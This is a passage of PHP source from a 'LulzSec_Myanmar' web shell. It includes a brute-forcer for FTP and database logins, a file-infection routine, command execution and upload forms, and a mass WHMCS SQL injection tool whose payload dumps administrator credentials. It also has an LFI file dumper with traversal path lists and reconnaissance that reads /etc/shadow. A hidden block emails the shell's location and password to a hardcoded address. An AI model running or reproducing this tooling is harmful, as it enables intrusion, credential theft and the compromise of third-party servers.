765 $tmp .= $line[0][$i];
766 ++$attempts;
767 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
768 $success++;
769 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
770 }
771 }
772 }
773 } elseif($_POST['type'] == 2) {
774 $temp = @file($_POST['dict']);
775 if( is_array($temp) )
776 foreach($temp as $line) {
777 $line = trim($line);
778 ++$attempts;
779 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
780 $success++;
781 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
782 }
783 }
784 }
785 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
786 }
787 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
788 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
789 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
790 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
791 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
792 .'<span>Server:port</span></td>'
793 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
794 .'<tr><td><span>Brute type</span></td>'
795 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
796 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
797 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
798 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
799 .'<td><input type=text name=login value="LulzSec"></td></tr>'
800 .'<tr><td><span>Dictionary</span></td>'
801 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
802 .'</td></tr><tr><td></td><td><input type=submit value="Do it Lulz"></td></tr></form></table>';
803 echo '</div><br>';
804 printFooter();
805}
806
807
808function actionInfect() {
809 printHeader();
810 echo '<h1>Infect</h1><div class=content>';
811 if ($_POST['p1'] == 'infect') {
812 $target = $_SERVER['DOCUMENT_ROOT'];
813 function ListFiles($dir) {
814 if ($dh = opendir($dir)) {
815 $files = Array();
816 $inner_files = Array();
817 while ($file = readdir($dh)) {
818 if ($file != "." && $file != "..") {
819 if (is_dir($dir . "/" . $file)) {
820 $inner_files = ListFiles($dir . "/" . $file);
821 if (is_array($inner_files)) $files = array_merge($files, $inner_files);
822 } else {
823 array_push($files, $dir . "/" . $file);
824 }
825 }
826 }
827 closedir($dh);
828 return $files;
829 }
830 }
831 foreach (ListFiles($target) as $key => $file) {
832 $nFile = substr($file, -4, 4);
833 if ($nFile == ".php") {
834 if (($file <> $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']) && (is_writeable($file))) {
835 echo "$file<br>";
836 $i++;
837 }
838 }
839 }
840 echo "<font color=red size=14>$i</font>";
841 } else {
842 echo "<form method=post><input type=submit value=Infect name=infet></form>";
843 echo 'Really want to Infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
844 }
845 printFooter();
846 }
847
848
849
850function printFooter() {
851 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=lime>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
852echo '</div><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px #56A3E9;">
853<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
854 <tr>
855 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value="Submit"></form></td>
856 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="Submit"></form></td>
857 </tr>
858 <tr>
859 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value="Submit"></form>'.$is_writable.'</td>
860 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="Submit"></form>'.$is_writable.'</td>
861 </tr>
862 <tr>
863 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value="Submit"></form></td>
864 <td><form method="post" ENCTYPE="multipart/form-data">
865 <input type=hidden name=a value="FilesMAn">
866 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
867 <input type=hidden name=p1 value="uploadFile">
868 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
869 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value="Submit"></form>'.$is_writable.'</td>
870 </tr>
871</table></div></div>
872<div style="margin:5px;background:#000;"><div class="content" style="border-top:1px #56A3E9;text-align:center;font-weight:bold;"><font color="#2052ff">JumpeR BikeR '.VERSION.'<br>WE ARE: <marquee width="50%"> LulzSec_Myanmar </marquee></font></div></div>
873</div>
874</body></html>';
875}
876if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
877if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
878
879if(!isset($_SESSION['trimite'])){
880 $url=" IP: ".gethostbyname($_SERVER["HTTP_HOST"]);
881 $to="aung.khant2093@gmail.com";
882$subject = "hi";
883$header = "from: New";
884$message = " link : http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."\r\n";
885"User IP: ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
886$message.="Path :"._file_;
887$message.="Pass :".$auth_pass;
888$sentmail = @mail($to,$subject,$message,$header);
889
890
891
892}
893function viewSize($s) {
894 if($s >= 1073741824)
895 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
896 elseif($s >= 1048576)
897 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
898 elseif($s >= 1024)
899 return sprintf('%1.2f', $s / 1024 ) . ' KB';
900 else
901 return $s . ' B';
902}
903function perms($p) {
904 if (($p & 0xC000) == 0xC000)$i = 's';
905 elseif (($p & 0xA000) == 0xA000)$i = 'l';
906 elseif (($p & 0x8000) == 0x8000)$i = '-';
907 elseif (($p & 0x6000) == 0x6000)$i = 'b';
908 elseif (($p & 0x4000) == 0x4000)$i = 'd';
909 elseif (($p & 0x2000) == 0x2000)$i = 'c';
910 elseif (($p & 0x1000) == 0x1000)$i = 'p';
911 else $i = 'u';
912 $i .= (($p & 0x0100) ? 'r' : '-');
913 $i .= (($p & 0x0080) ? 'w' : '-');
914 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
915 $i .= (($p & 0x0020) ? 'r' : '-');
916 $i .= (($p & 0x0010) ? 'w' : '-');
917 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
918 $i .= (($p & 0x0004) ? 'r' : '-');
919 $i .= (($p & 0x0002) ? 'w' : '-');
920 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
921 return $i;
922}
923function viewPermsColor($f) {
924 if (!@is_readable($f))
925 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
926 elseif (!@is_writable($f))
927 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
928 else
929 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
930}
931if(!function_exists("scandir")) {
932 function scandir($dir) {
933 $dh = opendir($dir);
934 while (false !== ($filename = readdir($dh))) {
935 $files[] = $filename;
936 }
937 return $files;
938 }
939}
940//shive function will b here //start
941
942function actionshiv()// oops he have given there shiv now here it was shive so err
943{
944printHeader();
945
946
947echo '<body bgcolor=black>
948<center><font color=orange>
949<h1>Mass SQLi WHMCS</h1>
950<form method=post>
951<textarea name=sites rows=10 cols=50 placeholder="http://www.cybernamix.com.au"></textarea><br><br>
952<input type=submit></form><hr>';
953
954if(isset($_POST['sites'])){
955
956 $exp=explode("\r\n",$_POST['sites']);
957 foreach($exp as $url){
958
959$site = $url."/viewticket.php";
960
961$post = "tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,concat(0x3c2f7469746c653e7665727361696c6c6573,(select(@x)from(select(@x:=0x00),(select(0)from(tbladmins)where(@x:=concat(@x,0x0d0a,username,0x207c20,password))))x),0x3c62723e736563376f727465616d),0,0,0,0,0,0,0,0,0,0,0#";
962
963
964$ch = curl_init();
965curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
966curl_setopt($ch, CURLOPT_URL, $site);
967curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
968curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
969curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
970curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
971$exec = curl_exec($ch);
972curl_close($ch);
973
974if(eregi('versailles',$exec)){
975
976echo "<font color=orange> [+] ".$url."</font><font color=lime> [INJECTED] </font><br>";
977echo "<font color=lime>";
978echo ikkeh($exec,"versailles","sec7orteam");
979
980echo "</font><hr>";
981
982flush();
983ob_flush();
984
985}else{
986echo "<font color=red>[-] ".$url." [NOT VULNERABLE]</font><br><hr>";
987}
988
989}
990}
991
992function ikkeh($txt,$awal,$akhir) {
993$pos1 = stripos($txt,$awal)+strlen($awal);
994$pos2 = stripos($txt,$akhir,$pos1+1);
995return substr($txt,$pos1,$pos2-$pos1);
996};
997
998
999
1000printFooter();
1001}
1002
1003//end
1004
1005
1006
1007
1008function actionSecInfo() {
1009 printHeader();
1010 echo ' <span style="color:White;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size: 50pt;"> <h1>Server security information By LulzSec_MM </h1><h1> LulzSec_Myanmar </h1><div class=content>';
1011 function showSecParam($n, $v) {
1012 $v = trim($v);
1013 if($v) {
1014 echo '<span>'.$n.': </span>';
1015 if(strpos($v, "\n") === false)
1016 echo $v.'<br>';
1017 else
1018 echo '<pre class=ml1>'.$v.'</pre>';
1019 }
1020 }
1021 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
1022 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
1023 showSecParam('Open base dir', @ini_get('open_basedir'));
1024 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
1025 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
1026 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
1027 $temp=array();
1028 if(function_exists('mysql_get_client_info'))
1029 $temp[] = "MySql (".mysql_get_client_info().")";
1030 if(function_exists('mssql_connect'))
1031 $temp[] = "MSSQL";
1032 if(function_exists('pg_connect'))
1033 $temp[] = "PostgreSQL";
1034 if(function_exists('oci_connect'))
1035 $temp[] = "Oracle";
1036 showSecParam('Supported databases', implode(', ', $temp));
1037 echo '<br>';
1038 if( $GLOBALS['os'] == 'nix' ) {
1039 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
1040 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
1041 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
1042 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
1043 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
1044 showSecParam('OS version', @file_get_contents('/proc/version'));
1045 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
1046 if(!$GLOBALS['safe_mode']) {
1047 echo '<br>';
1048 $temp=array();
1049 foreach ($userful as $item)
1050 if(which($item)){$temp[]=$item;}
1051 showSecParam('Userful', implode(', ',$temp));
1052 $temp=array();
1053 foreach ($danger as $item)
1054 if(which($item)){$temp[]=$item;}
1055 showSecParam('Danger', implode(', ',$temp));
1056 $temp=array();
1057 foreach ($downloaders as $item)
1058 if(which($item)){$temp[]=$item;}
1059 showSecParam('Downloaders', implode(', ',$temp));
1060 echo '<br/>';
1061 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
1062 showSecParam('HDD space', ex('df -h'));
1063 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
1064 }
1065 } else {
1066 showSecParam('OS Version',ex('ver'));
1067 showSecParam('Account Settings',ex('net accounts'));
1068 showSecParam('User Accounts',ex('net user'));
1069 }
1070 echo '</div>';
1071 printFooter();
1072}
1073
1074function actionlfiscan() {
1075 printHeader();
1076 print '
1077 <h3>LFI File dumper By LulzSec_MM</h3>
1078
1079 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
1080 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
1081 <option value="1">
1082 Access Log
1083 </option>
1084
1085 <option value="2">
1086 httpd.conf
1087 </option>
1088
1089 <option value="3">
1090 Error Log
1091 </option>
1092 <option value="4">
1093 php.ini
1094 </option>
1095 <option value="5">
1096 MySQL
1097 </option>
1098 <option value="6">
1099 FTP
1100 </option>
1101 <option value="7">
1102 Environ
1103 </option>
1104 </select> Null: <select name="null">
1105 <option value="%00">
1106 Yes
1107 <option value="">
1108 No
1109 </option>
1110 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
1111 </form>';
1112 error_reporting(0);
1113 if($_POST['lfiurl']) {
1114 print "<pre>";
1115 $cheader = $_POST['custom_header'];
1116 $target = $_POST['lfiurl'];
1117 $type = $_POST['scantype'];
1118 $byte1 = $_POST['null'];
1119 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
1120 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
1121 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
1122 $lfiaccess = array(
1123 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
1124 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
1125 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
1126 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
1127 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
1128 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
1129 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
1130 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
1131 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
1132 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
1133 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
1134 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
1135 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
1136 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
1137 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
1138 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
1139 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
1140 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
1141 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
1142 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
1143 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
1144 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
1145 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
1146
1147 $lfierror = array(
1148 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
1149 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
1150 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
1151 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
1152 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
1153 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
1154 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
1155 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
1156 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
1157 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
1158 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
1159 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
1160 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
1161 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
1162 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
1163 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
1164 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
1165 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
1166 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
1167 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
1168 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
1169 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
1170 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
1171
1172 $lficonfig = array(
1173 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
1174 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
1175 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
1176 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
1177 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
1178 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
1179 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
1180 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
1181 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
1182 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
1183 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
1184 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
1185 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
1186 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
1187 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
1188 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
1189 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
1190 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
1191 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
1192 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
1193 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
1194 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
1195 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
1196 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
1197 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
1198 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
1199 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
1200 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
1201 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
1202 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
1203 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
1204 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
1205 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
1206 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
1207 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
1208
1209 $lfiphpini = array(
1210 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
1211 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
1212 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
1213 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
1214 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
1215 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
1216 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
1217 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
1218 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
1219 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
1220 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
1221 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
1222 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
1223 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
1224 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
1225 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
1226 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
1227 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
1228 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
1229 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
1230 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
1231 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
1232 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
1233 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
1234 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
1235 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
1236 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
1237
1238 $lfimysql = array(
1239 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
1240 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
1241 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
1242 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
1243 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
1244 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
1245 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
1246 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
1247 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
1248 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
1249
1250 $lfiftp = array(
1251 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
1252 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
1253 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
1254 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
1255 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
1256 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
1257 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
1258 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
1259 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
1260 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
1261 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
1262 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
1263 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
1264 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
1265 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
1266 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
1267 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
1268 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
1269 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
1270 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
1271 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
1272 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
1273 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
1274 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
1275 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
1276 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
1277 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
1278 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
1279 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
1280 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
1281 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
1282 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
1283 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
1284 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
1285 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
1286 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
1287 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
1288 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
1289 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
1290 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
1291 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
1292 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
1293 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
1294 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
1295
1296
1297 $x = 1;
1298 if ( $type == 1 ) {
1299 $res1 = FetchURL($target.$lfitest);
1300 $res2 = FetchURL($target.$lfitest2);
1301 $rhash1 = md5($res1);
1302 $rhash2 = md5($res2);
1303 if ($rhash1 != $rhash2) {
1304 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1305 while($lfiaccess[$x]) {
1306 $res3 = FetchURL($target.$lfiaccess[$x]);
1307 $rhash3 = md5($res3);
1308 if ($rhash3 != $rhash2) {
1309 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
1310 }
1311 else {
1312 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
1313 }
